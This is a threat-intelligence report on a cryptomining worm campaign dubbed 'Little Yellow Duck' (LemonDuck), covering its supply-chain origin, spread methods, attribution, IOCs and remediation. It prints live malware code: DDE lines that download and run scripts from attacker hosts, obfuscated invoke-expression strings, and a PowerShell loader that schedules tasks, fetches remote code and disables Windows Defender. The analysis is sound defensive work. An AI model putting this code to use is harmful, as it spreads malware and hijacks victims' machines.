摘要"小黄鸭"一个持续活跃的商业APT组织正浮出水面2020-07-05摘要摘要近期,天际友盟监测到多起通过钓鱼邮件、漏洞利用来传播,进行加密数字货币挖掘的蠕虫攻击活动.
经双子座实验室研究分析,将这一系列攻击活动定义为商业APT行为,并将这一系列活动背后的组织命名为"小黄鸭".
与以往大部分APT攻击活动目的为窃取敏感资料、破坏关键设施等不同,"小黄鸭"攻击似乎仅以经济利益为目的,通过控制计算机、侵占计算资源于加密数字货币的挖掘.
该攻击活动具有以下特征:起源于针对"驱动人生"供应链的APT攻击;持续时间长,从2018年12月份起持续至今;影响范围广泛,波及全球,已有数百万设备被感染;传播途径多样,通过漏洞利用、Outlook邮件、移动存储设备进行传播;利用新冠疫情对邮件攻击模块做针对性升级,以提高感染效率;频繁利用开源项目及新披露漏洞的POC来增强蠕虫感染能力;多样性,迭代/升级的频率远超以往发现的同类型威胁攻击.
"小黄鸭"最初由针对"驱动人生"发起的供应链攻击演变而来,但研究后发现,攻击者可能只是希望利用"驱动人生"作为跳板,使蠕虫尽可能广泛地传播.
攻击者疑似为具有一定专业能力的境外组织,发起或参与过大规模网络攻击相关活动(如构建僵尸网络等).
至今"小黄鸭"已发展成面向全球,主要针对运行摘要Windows系统的终端设备的,有组织、有计划的,以挖矿为目的高级长期威胁组织.
当前在国内仍发现大量个人PC及多家知名企业被感染的情况,其感染目标已不限于Windows主机,还有一部分运行嵌入式Windows7系统的IoT设备同样受到波及,包括智能电视,智能扫描仪,工业AGV等,并在近期新增了针对Linux设备的攻击模块.
受到感染的机器中绝大部分来自于政府与企业.
值得注意的是"小黄鸭"发动的攻击中会上传十分详尽的系统环境信息,这可能为其筛选"特定目标"进行下一步定向攻击而做好了准备,也意味着"驱动人生"遭受定向攻击同类事件或将重演……我们通过对相关情报的关联分析后发现,国内外多家安全厂商所述的"永恒之蓝"下载器,蓝茶,MTLminer,"驱动"件挖矿,Beapy,LemonDuck,柠檬鸭等相关攻击活动,均为"小黄鸭"所为.
目录目录简要分析.
1攻击起源.
6近期动态.
7溯源分析.
10ATT&CK14检测方案15修复建议16防范建议20IOCS.
22附录311.
攻击细节分析.
311)钓鱼邮件312)执行.
333)蠕虫及挖矿382.
开源项目的利用.
873.
为什么命名为"小黄鸭"884.
参考链接.
91关于天际友盟.
94简要分析1简要分析经过分析,我们勾画出"小黄鸭"整个的攻击链(如下图所示),不同于常规的攻击链路,在其攻击链路中具有大量的远程恶意文件执行操作,且相互之间具有递归/嵌套执行的特点.
"小黄鸭"攻击链其恶意脚本经过了相当复杂的加密和混淆(这帮助其规避绝大部分的引擎查杀),如图所示,其远程脚本名伪装成一些普通的前端页面后缀(如:PHP,JS,JSP,JSON,PNG等),不同的感染路径会触发请求不同名称的远程脚本,起到一个监控的作用.
天际友盟双子座实验室出品简要分析2经分析发现,攻击过程中存在多个命名不同但其内容完全一致的攻击脚本,其攻击链主要通过计划任务,实现在系统中的更新与持久化;并且通过创建随机命名的定时任务,每小时从C&C服务器获取代码并执行,来触发远程代码中写入的挖矿与传播操作.
这种计划任务配合远程文件加载执行的方式,使得更新后的远程恶意脚本会在已感染机器再次执行.
攻击者一直在根据攻击链路中反馈给C&C服务器的信息(有关用户帐户,环境信息,权限以及恶意负载执行状况的详细信息),不断地对环节及流程进行调整和优化.
在近两月的监测周期中,已经捕获到数十次攻击链的更新.
其主要传播途径可分为三类:1)通过漏洞利用传播-端口扫描;-利用EternalBlue/MS17-010,针对Win7/Win8;-CVE-2020-0796(2020年4月新增);简要分析3-使用暴力破解(除自身携带字典外,还会将获取本地口令/凭证加入字典),针对$IPC、SMB、MS-SQL、RDP、NTLM、WMI、SSH(2020-06-01新增,针对Linuxroot账号);2)利用移动存储设备传播(CVE-2017-8464)-通过将恶意DLL与快捷方式(LNK)文件一起植入文件夹中,从而感染可移动USB驱动器和网络驱动器;-当使用解析.
lnk快捷方式文件的任何应用程序中打开驱动器时,快捷方式将执行恶意的DLL组件.
3)利用Outlook邮件传播/社会工程学传播-借助新冠疫情,新增部分与新冠有关邮件主题;-随机选取邮件主题及内容,发送给感染主机上的所有Outlook联系人;-生成恶意文档(CVE-2017-8570,DDE),恶意JS文件.
攻击者在利用Outlook进行的传播过程中,捕获的样本中邮件主题是唯一的,直接硬编码在脚本中,如下所示:$mail_subject="TheTruthofCOVID-19$mail_body="VirusactuallycomesfromUnitedStatesofAmerica"简要分析4而近期一次更新中,其在利用邮件传播的攻击模块中包含了以下多个邮件主题,随机挑选其中之一(其中包括两个新增的与新冠有关的主题):$global:mail_pools=@(#与新冠主题相关("TheTruthofCOVID-19","VirusactuallycomesfromUnitedStatesofAmerica"),("COVID-19nCovSpecialinfoWHO","veryimportantinfomationforCovid-19seeattacheddocumentforyouractionanddiscretion.
"),("HALTHADVISORY:CORONAVIRUS","theoutbreakofCORONAVIRUSiscauseofconcernespeciallywhereforignpersonalhaverecentlyarrivedorwillbearrivingatvariousinttinnearfuture.
seeattacheddocumentforyouractionanddiscretion.
"),("WTF","what'swrongwithyouareyououtofyourmind!
!
!
!
!
"),("Whatthefcuk","areyououtofyourmind!
!
!
!
!
what'swrongwithyou"),("goodbye","goodbye,keepintouch"),("farewellletter","goodbye,keepintouch"),("brokenfile","canyouhelpmetofixthefile,ican'treadit"),("Thisisyourorder","fileisbrokened,ican'topenit"))简要分析5恶意RTF文档打开后的截图,如下图所示:天际友盟双子座实验室出品简要分析6攻击起源"小黄鸭"最早的攻击活动可追溯到2018年11月的一起针对性攻击事件:2018/11/1210:53驱动人生的一台运维跳板机出现异常远程登录(推测应该是之前被僵尸网络感染,而后被针对性持续渗透).
2018/11/1517:17攻击者通过多层内网渗透,成功获取升级服务器103.
56.
77.
23,globalupdate.
updrv.
com口令并登录.
2018/12/2-2018/12/5攻击者通过三个不同的域名供应商注册攻击域名(见下表),注册时间段大概是北京时间12点-22点.
此外,监测到的远程脚本的更新时间范围为10点-20点,这两点表明了攻击者的活动时间范围.
域名注册时间haqo.
net2018-12-02T14:35:52Zabbny.
com2018-12-03T04:06:07Zackng.
com2018-12-05T06:58:03Z简要分析72018/12/1414:15攻击者利用代理84.
39.
112.
58(瑞士)远程登录到升级服务器103.
56.
77.
23上,备份并修改ServerConfig.
xml文件,登录SQL数据库后插入其准备好的恶意下载链接,随后于当日18:00左右删除.
至此,短短不到4个小时的时间内,多达数10万台PC受到感染.
按照当时的Meno币价格,每10万台僵尸主机,预计每月会为攻击者带来近千美元的收益.
在成功入侵驱动人生升级服务器后,攻击者在受害者内网潜伏了近一个月的时间,而后才注册相关域名,为"测试攻击"做准备,且在攻击生效后立即恢复了服务器相关设置.
以上行为似乎表露了攻击者在初始阶段并未准备好发动大规模蠕虫攻击.
或许是在"测试攻击"中,获取了不菲的收益.
攻击者在2018年12月19日,更新恶意程序:新增powershell后门,以做权限维持和方便后续更新.
此后"小黄鸭"活动变得愈加猖狂,在本报告截止(2020-06-13)时仍十分活跃,期间已经历了数百次的更新升级(国内外已有多达数十篇与其相关的报告)以下是我们近期监测到的"小黄鸭"攻击链部分变动更新状况:近期动态2020/04/27邮件中包含的RTF文档更新了DDE链接,DDE加载对象由远程文件变为本地文件,这帮助其成功规避掉部分沙箱检测规则.
简要分析8DDE链接对比如下:Openingfile:readme.
docDDELinks:DDEAUTO"C:\\Programs\\Microsoft\\Office\\12\\MSWord\Windows\\system32\\cmd.
exe/cpowershell[Reflection.
Assembly]::LoadWithPartialName('Microsoft.
VisualBasic');[Microsoft.
VisualBasic.
Interaction]::GetObject('script:%tmp%wxJadS9Xyg.
sct').
Exec(0)&""MicrosoftOfficeRemoteDatabase"Openingfile:urgent.
docDDELinks:DDEAUTO"C:\\Programs\\Microsoft\\Office\\12\\MSWord\Windows\\system32\\cmd.
exe/cpowershellIE`x(Ne`w-Obj`ectNet.
WebC`lient).
DownLoadString('http://t.
awcna.
com/mail.
jspdde*%username%*%computername%')&""MicrosoftOfficeRemoteDatabase"简要分析92020/05/19C&C域名tr2q.
com停止解析,新增zer9g.
com,仍可通过IP:66.
42.
43.
37访问,由于Hosts文件修改,不会对已经感染的机器产生影响.
2020/05/21远程脚本全线更新,Base64编码加密替换为MemoryStream,文件体积变大,分析难度提高,查杀率降低.
更新前后查杀率变化如下所示:更新前查杀率更新后查杀率简要分析102020/06/01主要攻击模块if.
bin中新增了对于LinuxSSH爆破功能;通过使用PuTTYlink工具,即plink.
exe对局域网内22端口进行root账号字典爆破.
若SSH爆破成功后,会在目录:/.
Xll/xr写入挖矿程序,并加入crontab定时执行.
溯源分析我们在针对样本中涉及的域名及其解析IP的关联分析中发现,攻击者对于域名与服务器供应商选择的离散度很高,这增加接管及关停其黑色资产的难度,为攻击活动提供缓冲期,便于其切换和迁移黑色资产.
下图中标红的域名为首次测试攻击所使用,且ackng.
com一直沿用至今.
其近期活动中偏好的域名注册商为https://www.
epik.
com.
"小黄鸭"域名分布图在样本监测中我们发现,在短时间内多次对同一脚本发起请求,得到同样的MD5文件,但其修改时间具有微小的时间差,说明其C&C服务器的背后可能使用了负载均衡相关的机制,以保障C&C的正常服务.
简要分析11我们注意到历史上"小黄鸭"使用的某些C&C域名关联子域名如js.
haqo.
net解析的IP81.
177.
135.
35与暗云IIIv3.
0、Mykings、Mirai、Smominru僵尸网络相关活动有关联.
经过调查发现,初期"小黄鸭"的攻击模式与Mykings具有一定相似性,这表明"小黄鸭"的攻击模式或受其启发.
而后"小黄鸭"故意创建部分子域名,将其解析在与Mykings的资产相关联IP地址上,从而混淆安全分析的调查方向.
这部分解析在MykingsIP上的子域名无法像其他子域名一样提供正常的C&C服务.
我们调查了该组织在初期攻击时使用的各类资产,想从中找出与该攻击活动有关的其他攻击活动,具体如下:#domainabbny.
comhaqo.
netackng.
com#(该域名沿用至今)#C&C45.
118.
132.
44172.
105.
237.
3127.
102.
113.
141#矿池172.
105.
204.
237#Proxy简要分析1284.
39.
112.
5895.
211.
168.
228但遗憾的是,攻击者所用资产几乎全部是第一次启用,且供应商各不相同,这使得我们没有取得任何有价值的发现.
通过追溯其不同时期攻击链的变动,我们发现多家安全厂商所报"永恒之蓝"下载器,蓝茶,MTLminer,"驱动人生"无文件挖矿,Beapy,LemonDuck,柠檬鸭相关攻击活动均为"小黄鸭"所为.
该团伙具备较高的安全技能及快速学习的能力,在首次攻击前应参与或了解过大面积网络攻击相关活动(如:构建僵尸网络),更可能是从事网络安全相关工作的人员,以谋求经济利益为目的,在某些便利环境的诱使下,利用相关行业经验发起的网络攻击.
通过分析其攻击特征(如爆破字典,社会工程学相关内容),我们注意到其攻击链路变动中针对英语语种的网络环境的优化居多,且没有出现针对中国的网络环境作出相应优化,虽然"小黄鸭"初期在中国爆发,而且攻击成效显著,但后续并未针对中国的网络环境作出优化(这对于该能力水准的攻击者来说几乎没有门槛).
这违背了"小黄鸭"攻击活动中所表露的单纯只为侵占大量计算资源于加密货币挖掘的经济目标.
结合以下历史监测信息来看,攻击不是呈现合理的蔓延趋势,疑似越过非英语国家,直奔欧美……Symantec在2019年4月的分析:80%以上的受害者位于中国,其他受害者位于韩国,日本和越南.
简要分析13而到2019年10月,据Sophos的披露:中国受害者的占比降至24%,新加坡17%,英国达到6%,美国3%,而之前较多的韩日这次占比还在其后.
受害者地理位置分布图这使得攻击者具有两种可能:境内攻击者,后期有意避开境内环境英语母语攻击者,对英语语种以外的网络环境不熟悉通过行为/恶意资产/代码风格及命名倾向特征推测其应为使用英语语种的攻击者,所以我们更倾向于第二种可能.
天际友盟双子座实验室出品ATT&CK14ATT&CK下表为"小黄鸭"系列活动中使用的攻击方式在ATT&CK矩阵中的体现:初始访问执行持久化提权防御规避凭证访问发现横向移动收集Exfiltration命令与控制带有链接鱼叉式钓鱼通过API执行利用Office程序启动进程注入禁用安全工具凭证转储反虚拟化/沙箱远程系统发现来自本地系统的数据数据压缩多频通讯带有附件鱼叉式钓鱼命令行界面新服务计划任务绕过用户帐户控制网络嗅探进程枚举哈希传递攻击来自可移动介质的数据通过其他网络介质渗透标准加密协议利用信任关系COM和DCOM利用凭证文件DLL搜索顺序劫持伪装输入捕捉安全软件发现SSH劫持来自网络共享的数据自动渗透常用端口供应链入侵计划任务系统固件新服务反虚拟化/沙箱帐户操纵网络服务扫描Windows远程管理输入捕捉数据加密利用面向公众的应用程序动态数据交换(DDE)协议修改现有服务文件系统权限设置不当进程注入暴力破解攻击系统信息发现登录脚本数据分段计划传输Drive-byCompromise脚本执行路径拦截进程注入反混淆/解码拦截双因素身份验证信息远程系统发现共享的Webroot屏幕截图数据传输大小限制有效帐号第三方软件登录脚本脚本执行BashHistory应用程序窗口发现第三方软件收集目标Email账户信息通过命令和控制通道渗透使用外部远程服务Windows管理规范删除文件文件和目录发现远程桌面协议收集目标剪贴板数据通过替代协议渗透Powershell混淆的文件或信息图形用户界面检测方案15检测方案根据IOCs信息(见IOCs部分)对相关主机进行排查;查看相关主机CPU是否运行有异常,比如CPU占用过高;查看内网主机及相关端口如445、1433、3389、65529、65533等端口是否开启且有过被扫描或暴力破解行为;检测相关主机是否存在CVE-2017-8570及MS17-010高危漏洞;追查同样本邮件相关的邮箱地址,在其接收邮件主机同网域内进行全面检测扫描;修复建议16修复建议使用管理员权限打开Powershell,输入以下命令进行操作.
-删除已写入的网络规则:netshadvfirewallfirewalldeleterulename="SDNSd"netshadvfirewallfirewalldeleterulename="DNSd"netshinterfaceportproxydeletev4tov4listenport=65529netshinterfaceportproxydeletev4tov4listenport=65533#如果需要提供SMB服务则不用执行以下命令netshadvfirewallfirewalldeleterulename="deny445"netshadvfirewallfirewalldeleterulename="deny445"-查看定时任务:functionGet-AllTaskSubFolders{[cmdletbinding()]param($FolderRef=$Schedule.
getfolder("\"))if($FolderRef.
Path-eq'\'){$FolderRef}修复建议17if(-not$RootFolder){$ArrFolders=@()if(($folders=$folderRef.
getfolders(1))){$folders|ForEach-Object{$ArrFolders+=$_if($_.
getfolders(1)){Get-AllTaskSubFolders-FolderRef$_}}}$ArrFolders}}$Schedule=New-ObjectComObject("Schedule.
Service");$Schedule.
connect($env:COMPUTERNAME);foreach($FolderinGet-AllTaskSubFolders){if(($Tasks=$Folder.
GetTasks(1))){$Tasks|Foreach-Object{if(($_.
State-gt1)){New-Object-TypeNamePSCustomObject-Property@{'Name'=$_.
name修复建议18'State'=switch($_.
State){0{'Unknown'}1{'Disabled'}2{'Queued'}3{'Ready'}4{'Running'}Default{'Unknown'}}'Path'=$_.
path}}}}}-查看是否具有明显随机的任务名,然后根据路径删除:schtasks/delete/tnPATH/F如发现中招主机,应立即切断网络,关闭445端口服务,进行全面查杀.
对CVE-2017-8570,MS17-010,CVE-2020-0796相关漏洞及时打补丁.
-CVE-2017-8570补丁信息参考:https://portal.
msrc.
microsoft.
com/en-us/security-guidance/advisory/CVE-2017-8570;修复建议19-MS17-010补丁信息参考:https://support.
microsoft.
com/zh-cn/help/4012598/title-CVE-2020-0796信息参考:https://portal.
msrc.
microsoft.
com/en-US/security-guidance/advisory/CVE-2020-0796防范建议20防范建议停止使用Win7(20201月14日后微软已停止对其维护);及时对内网主机打补丁;加强系统安全性.
身份验证和加密机制有助于防止对目标系统进行未经授权的修改,使用高强度密码,并定期更新,不要使用弱口令;多台设备不要使用相同密码,蠕虫会抓取本机密码,攻击局域网中的其它机器;关闭主机不必要的端口(如445,65529等),并使用严格的权限控制;部署其他安全机制,例如行为监视,以检测并防止异常例程或未授权程序或脚本的运行.
企业内IDS/IPS防护设备根据后续列出的yara检测规则进行更新;禁用PowerShell,因为普通用户和非技术用户都不需要;使用管理员权限打开Powershell,输入以下命令,然后回车Disable-WindowsOptionalFeature-Online-FeatureNameMicrosoftWindowsPowerShellV2Root阻止从Office文档中嵌入或链接的COM对象,请执行以下步骤:防范建议21regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common\COMCompatibility\{F20DA720-C02F-11CE-927B-0800095AE340}"/v"CompatibilityFlags"/tREG_DWORD/d0x400regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common\COMCompatibility\{F20DA720-C02F-11CE-927B-0800095AE340}"/v"ActivationFilterOverride"/tREG_DWORD/d0x1regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COMCompatibility\{F20DA720-C02F-11CE-927B-0800095AE340}"/v"CompatibilityFlags"/tREG_DWORD/d0x400regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COMCompatibility\{F20DA720-C02F-11CE-927B-0800095AE340}"/v"ActivationFilterOverride"/tREG_DWORD/d0x1禁用SMB的压缩功能:Set-ItemProperty-Path"HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"DisableCompression-TypeDWORD-Value1-ForceIOCs22IOCs以下是有关该活动的相关IOCs:C&C:abbny.
comp.
abbny.
cominfo.
abbny.
comhaqo.
neti.
haqo.
netinfo.
haqo.
netbeahh.
comv.
beahh.
comw.
beahh.
comp.
beahh.
comd.
beahh.
comoom.
beahh.
cominfo.
beahh.
comminicen.
gaimg.
minicen.
gat.
minicen.
gay6h.
netv.
y6h.
netzer2.
comlpp.
zer2.
comt.
zer2.
comawcna.
com(2020-04-21停止解析)t.
awcna.
comtr2q.
comt.
tr2q.
com(2020-05-20停止解析)amynx.
com(未启用)IOCs23t.
amynx.
com(未启用,2020-05-26发现启用)zer9g.
comt.
zer9g.
com(2020-05-21新增,取代t.
tr2q.
com)zz3r0.
comt.
zz3r0.
com(2020-05-25新增,取代t.
awcna.
com))jdjdcjq.
topt.
jdjdcjq.
top(2020-06-01新增,用与Linux)矿池地址lpp.
zer2.
comlp.
haqo.
netlpp.
awcna.
comlplp.
haqo.
netlplp.
beahh.
comlplp.
abbny.
comlplp.
ackng.
comPayload存放地址d.
ackng.
cominfo.
ackng.
comdown.
ackng.
comhaqo.
netdl.
haqo.
netIP167.
71.
87.
8545.
79.
77.
20161.
35.
107.
19366.
42.
43.
37172.
104.
7.
85207.
154.
225.
82IOCs24128.
199.
183.
160206.
189.
144.
115138.
68.
30.
50128.
199.
64.
236Proxy84.
39.
112.
5895.
211.
168.
228MD598bf04d3d6e25c0cac4ac6af604bcdbf779c89b9404bdd69547c28885167f131d0b03daf3c84987768bd4ce8e2a7754851f6eba99e2b33e5458d78e41a130fe2db50d9392ea9dd0efceb2364f0e2f1875d4d94ee7e06bbb0af9584119797b23af3b25701fe362ec84616a93a45ce9998df5c8f7677a3361d17cc1ba820436ce9Ports4366865529IOCs2565533Windows文件C:\Users\XXX\AppData\Local\Temp\GkwiGedjuq8391j.
txtC:\Users\XXX\AppData\Local\Temp\GkPiGedjuq8f91j.
txtC:\Users\XXX\AppData\Local\Temp\godmali3.
txtLinux文件/.
Xll/xrDriverDRIVE:\UTFsync\\inf_dataYaraCVE-2017-8570攻击文件YARA检测规则:IOCs26DDE文件YARA检测规则:MimikatzYARA检测规则:IOCs27PUBLICKEY攻击者采用用来验证C&C服务器返回内容的RSA公钥:-----BEGINRSAPUBLICKEY-----2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=-----BEGINRSAPUBLICKEY-----脚本混淆方式恶意脚本主要使用IEX(invoke-expression)混淆:#mail.
jsp($SHEllid[1]+$sHELlID[13]+'X')($EnV:cOmSpeC[4,15,25]-JoiN'')IOCs28##2020-05-21($VErboseprEFereNCe.
TOstRING()[1,3]+'X'-joIN'')#x.
jsp($sHEllid[1]+$ShELlID[13]+'x')(([StrINg]$vERbosepRefEreNcE)[1,3]+'X'-jOIN'')$sHeLlID[1]+$ShELLID[13]+'X'#if.
bin($SHElLid[1]+$sHElLID[13]+'X')$PSHOME[4]+$pSHoMe[30]+'x'($pSHoMe[21]+$PShoME[30]+'x')#report.
jsp((varIABlE'*mDR*').
NAME[3,11,2]-jOin'')((Gv'*mdR*').
nAme[3,11,2]-joiN'')#a.
jspmail(([strINg]$VErBoSeprEFErenCE)[1,3]+'x'-Join'')($ShelLId[1]+$sHelliD[13]+'x')($enV:comSPec[4,15,25]-jOin'')##2020-05-21($pSHOMe[21]+$pSHome[34]+'X')#if_main.
bin($VerbOsepReFeRencE.
TOsTring()[1,3]+'x'-jOin'')((vArIaBLe'*MDr*').
Name[3,11,2]-JoiN'')IOCs29($Env:comSPEc[4,15,25]-JoIN'')#7p.
php($ShelLiD[1]+$SHellid[13]+'X')($pShOmE[4]+$PsHomE[34]+'X')#rdp.
jsp($VErboseprEFereNCe.
TOstRING()[1,3]+'X'-joIN'')($PShOME[4]+$pShOmE[34]+'X')($Env:comsPeC[4,26,25]-jOin'')#ipc.
ps1((VaRiaBlE'*MDr*').
NAme[3,11,2]-jOIN'')($VeRboseprefERENcE.
toSTRiNg()[1,3]+'X'-JOIn'')附录31附录1.
攻击细节分析我们以其中一次观测到的攻击链为例,梳理下整个攻击流程.
1)钓鱼邮件我们收到一封来自常用联系人的邮件,可能包含以下内容:因为邮件来自于熟知的人,这封邮件投递成功并被阅读的可能性很大.
其中包含两个Readme.
doc和Readme.
zip.
打开Readme.
doc,若电脑系统存在CVE-2017-8570漏洞,在文档打开时,其Package对象包含的由发件方随机命名生成的.
sct恶意脚本文件会自动释放到我们的临时目录,该.
sct文件被文档中的第二objdata对象加载并执行.
Readme.
doc文档打开后的截图如下所示:附录32此外,我们还能看到这样的告警,如下图所示,这是由于在RTF文档中还利用OfficeDDE功能进行执行,以提高攻击成功几率:以下是解析后的在.
sct文件中插入的Powershell命令:执行后.
sct还会将自己从临时目录中删除.
附录332)执行1)7p.
php文件名7p.
php链接http://t.
tr2q[.
]com/7p.
php0.
7*mail_doc*MD5f8dc697b1812f61cf56bb656e90eabce功能绕过UAC去除多层混淆后,发现其定义函数bpu(BypassUAC缩写),该函数用以关闭WindowsDefender实时防护,和以管理员权限执行传入的远程脚本.
如下所示:2)mail.
jsp文件名mail.
jsp链接http://t.
tr2q[.
]com/mail.
jspdoc_0.
7\MD551f6eba99e2b33e5458d78e41a130fe2主要功能创建任务附录34代码及功能详情如下所示:$v="$v"+(Get-Date-Format'_yyyyMMdd')#存储攻击指令的变量$tmps='functiona($u){$d=(Ne`w-Obj`ectNet.
WebC`lient).
"DownloadData"($u);$c=$d.
count;if($c-gt173){$b=$d[173.
.
$c];$p=New-ObjectSecurity.
Cryptography.
RSAParameters;$p.
Modulus=[convert]::FromBase64String(''2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10='');$p.
Exponent=0x01,0x00,0x01;$r=New-ObjectSecurity.
Cryptography.
RSACryptoServiceProvider;$r.
ImportParameters($p);if($r.
verifyData($b,(New-ObjectSecurity.
Cryptography.
SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0.
.
171])))){I`ex(-join[char[]]$b)}}}$url=''http://''+''U1''+''U2'';a($url+''/a.
jsp'+$v+env:COMPUTERNAME,$env:USERNAME,(get-wmiobjectWin32_ComputerSystemProduct).
UUID,(random))-join''*''))'#判断当前是否是超级管理员权限$sa=([Security.
Principal.
WindowsPrincipal][Security.
Principal.
WindowsIdentity]::GetCurrent()).
IsInRole([Security.
Principal.
WindowsBuiltInRole]"Administrator")#DGA函数(其实是纯随机字串函数)附录35functiongetRan(){return-join([char[]](48.
.
57+65.
.
90+97.
.
122)|Get-Random-Count(6+(Get-Random)%6))}$us=@('t.
awcna.
com','t.
zer9g.
com','t.
amynx.
com')$stsrv=New-Object-ComObjectSchedule.
Service$stsrv.
Connect()#查看是否已经存在名为blackball的定时任务try{$doit=$stsrv.
GetFolder("\").
GetTask("blackball")}catch{}if(-not$doit){if($sa){schtasks/create/rusystem/scMINUTE/mo120/tnblackball/F/tr"blackball"}else{schtasks/create/scMINUTE/mo120/tnblackball/F/tr"blackball"}foreach($uin$us){#获取域名下标$i=[array]::IndexOf($us,$u)#根据除3余数,选择计划任务名if($i%3-eq0){$tnf=''}if($i%3-eq1){$tnf=getRan}if($i%3-eq2){if($sa){$tnf='MicroSoft\Windows\'+(getRan)}else{$tnf=getRan}}附录36$tn=getRanif($sa){#每60分执行命令powershellPS_CMD/F阻止系统确认消息schtasks/create/rusystem/scMINUTE/mo60/tn"$tnf\$tn"/F/tr"powershell-whidden-cPS_CMD"}else{schtasks/create/scMINUTE/mo60/tn"$tnf\$tn"/F/tr"powershell-whidden-cPS_CMD"}start-sleep1#获取指定位置的定时任务$folder=$stsrv.
GetFolder("\$tnf")#获取非隐藏任务以外的所有任务$taskitem=$folder.
GetTasks(1)foreach($taskin$taskitem){foreach($actionin$task.
Definition.
Actions){try{#若参数中存在PS_CMDif($action.
Arguments.
Contains("PS_CMD")){#替换为攻击指令$folder.
RegisterTask($task.
Name,$task.
Xml.
replace("PS_CMD",$tmps.
replace('U1',$u.
substring(0,5)).
replace('U2',$u.
substring(5))),4,$null,$null,0,$null)|out-null附录37}}catch{}}}schtasks/run/tn"$tnf\$tn"start-sleep5}}#删除老版本任务schtasks/delete/tnRtsa2/Fschtasks/delete/tnRtsa1/Fschtasks/delete/tnRtsa/F功能跟上版本的样本相比(MD5:51f6eba99e2b33e5458d78e41a130fe2)去除Host文件写入.
最终写入计划任务的攻击指令如下:附录38通过RSA校验后请求并执行远程脚本a.
jsp.
在之前的活动中,计划任务命名Rtsa,Rtsa1,Rtsa2(与之前不同的是bluetea,blackball均不具有实际命令执行,只是起到Flag的作用,避免重复写入计划任务).
3)蠕虫及挖矿1)a.
jsp文件名a.
jsp链接http://t.
zer9g[.
]com/a.
jspMD51540b9fe58b8279bd256aaad9d879fbe主要功能加载蠕虫模块、挖矿a.
jsp的操作复杂很多,主要是加载执行if.
bin蠕虫模块,根据系统环境选择执行m6.
bin/m6g.
bin挖矿程序,后者可利用显卡加速,并下载显卡挖矿需要的DLL文件.
最会还会关闭Outlook安全告警,加载执行if_mail.
bin.
代码:附录39#判断当前运行环境64位/32位if([IntPtr]::Size-eq8){$is64=$true}$ifbin="if.
bin"$ifmd5="45ef8d4faac68bd425bfdfe064602377"if($is64){$mbin="m6.
bin"$mmd5="5b2849ff2e8c335dcc60fd2155b2d4d3"$mgbin="m6g.
bin"$mgmd5="23d59ed726e13edabcb751da7a5ce310"}#md5生成函数functiongmd5($d){[Security.
Cryptography.
MD5]::Create().
ComputeHash($d)|foreach{$l+=$_.
ToString('x2')}return$l}#本地PayloadsMD5$lifmd5,$lmmd5,$lmgmd5=try{$lifmd5=gmd5([IO.
File]::ReadAllBytes("$env:tmp\$ifbin"))}catch{}try{附录40$lmmd5=gmd5([IO.
File]::ReadAllBytes("$env:tmp\$mbin"))}catch{}$down_url="http://d.
ackng.
com"#获取mail.
jsp定义的$url='http://'+'t.
zer'+'9g.
com'$core_url=$url.
split("/")[0.
.
2]-join"/"#管理员权限判定$permit=([Security.
Principal.
WindowsPrincipal][Security.
Principal.
WindowsIdentity]::GetCurrent()).
IsInRole([Security.
Principal.
WindowsBuiltInRole]"Administrator")#系统信息获取$comp_name=$env:COMPUTERNAME$guid=(get-wmiobjectWin32_ComputerSystemProduct).
UUID$mac=(Get-WmiObjectWin32_NetworkAdapterConfiguration|where{$_.
ipenabled-EQ$true}).
Macaddress|select-object-first1$osb=(Get-WmiObject-classWin32_OperatingSystem)#系统版本$os=$osb.
Caption.
replace("MicrosoftWindowsosb.
Version$user=$env:USERNAME#域信息获取$domain=(Get-WmiObjectwin32_computersystem).
Domain#开机时间附录41$uptime=[timespan]::FromMilliseconds([environment]::TickCount)|foreach{$_.
totalseconds}#显卡信息获取$card=(Get-WmiObjectWin32_VideoController).
name#获取内存信息gwmiWin32_PhysicalMemory|%{$msum=0}{$msum+=$_.
Capacity};$mem=$msum/1Gb#获取满足条件的存储盘信息try{$drive=([system.
IO.
DriveInfo]::GetDrives()|where{$_.
IsReady-and($_.
AvailableFreeSpace-gt1024)-and(($_.
DriveType-eq"Removable")-or($_.
DriveType-eq"Network"))-and(($_.
DriveFormat-eq"NTFS")-or($_.
DriveFormat-eq"FAT32"))}|foreach{($_.
Name)[0]DriveType.
tostring())[0]})-join"|"}catch{}$timestamp=(Get-Date-UFormat"%s").
Substring(0,9)#Xmrig矿工信息try{[Reflection.
Assembly]::LoadWithPartialName("System.
Web.
Extensions")$obj=(New-ObjectWeb.
Script.
Serialization.
JavaScriptSerializer).
DeserializeObject((new-objectnet.
webclient).
"downloadstring"('http://127.
0.
0.
1:43669/1/summary'))附录42$mv=$obj.
version$mip=$obj.
connection.
ip$mhr=$obj.
hashrate.
total-join(',')}catch{}#关闭windowsDefender的实时检测try{Set-MpPreference-DisableRealtimeMonitoring$trueAdd-MpPreference-ExclusionPathc:\Add-MpPreference-ExclusionProcessc:\windows\system32\WindowsPowerShell\v1.
0\powershell.
exe}catch{}if(($card-match"GTX|NVIDIA|GEFORCE")){$isn=1}if(($card-match"Radeon|AMD")){$isa=1}$params=@($comp_name,$guid,$mac)-join"&"set-location$env:tmp#调用cmd执行命令的函数functionstp($gra){Start-Process-FilePathcmd.
exe-ArgumentList"/c$gra"}#提交本地信息$comp_name,$guid,$mac并下载/运行指定文件并校验其MD5functiongcf($code,$md,$fn){附录43'powershell-c"'+$code+';$ifmd5='''+$md+''';$ifp=$env:tmp+''\'+$fn+''';$down_url='''+$down_url+''';functiongmd5($con){[System.
Security.
Cryptography.
MD5]::Create().
